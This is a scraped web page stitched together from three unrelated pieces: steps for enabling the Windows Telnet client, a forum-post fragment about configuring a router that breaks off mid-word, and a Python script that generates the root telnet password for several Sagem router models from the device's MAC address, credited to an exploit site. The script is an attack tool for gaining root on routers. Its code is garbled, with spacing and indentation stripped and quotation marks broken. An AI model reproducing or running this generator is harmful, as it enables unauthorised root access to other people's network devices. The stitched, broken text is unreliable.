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Option 1: Enable Telnet using GUI. To activate the Telnet command using the GUI: 1. Open the Programs and Features options in Control Panel: 2. Click the Turn Windows features on or off setting: 3. Locate the Telnet Client option on the list, select it and click OK to install the feature: 4. The Telnet command can be used to test connectivity on a certain port. Telnet is not enabled by default. To install it on Windows, follow these steps: Open the Control Panel. Go to Programs and Features. Select the “Turn Windows features on or off” option. Check the “Telnet Client” box. Hi, I have the 2704n, which I use and administer from a Mac OS X 10.12 (Sierra). However, I need to configure this router in more detail than the web interface allows for. The problem is that I am suprised by the behaviour of the name resolution services. I need to get this working predictably becau.

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sagem-router-root-pass-gen.py
''
SAGEM ROUTER FAST 3304/3464/3504 - telnet root password generator.
Work based on: http://1337day.com/exploit/16687
''
importsys
defmash(a,b):
ifa>b:
b, a=a, b
aa=int(a, 16)
bb=int(b, 16)
ifbb<10:
ifaa+bb<=9:
returnchr(ord(a) +bb)
else:
# FIXED: original code:
# hex(ord(first)+int(second,16))
# doesn't seem to produce correct characters
returnhex(aa+bb)[2:]
else:
returnchr(ord(b) +aa)
mac=sys.argv[1]
mac=mac.translate(None, ':- ').lower()
print'MAC: '+mac
password= []
password.append(mash(mac[5], mac[11]))
password.append(mash(mac[0], mac[2]))
password.append(mash(mac[10],mac[11]))
password.append(mash(mac[0], mac[9]))
password.append(mash(mac[10],mac[6]))
password.append(mash(mac[3], mac[9]))
password.append(mash(mac[1], mac[6]))
password.append(mash(mac[3], mac[4]))
password='.join(password)
print'Password: '+password

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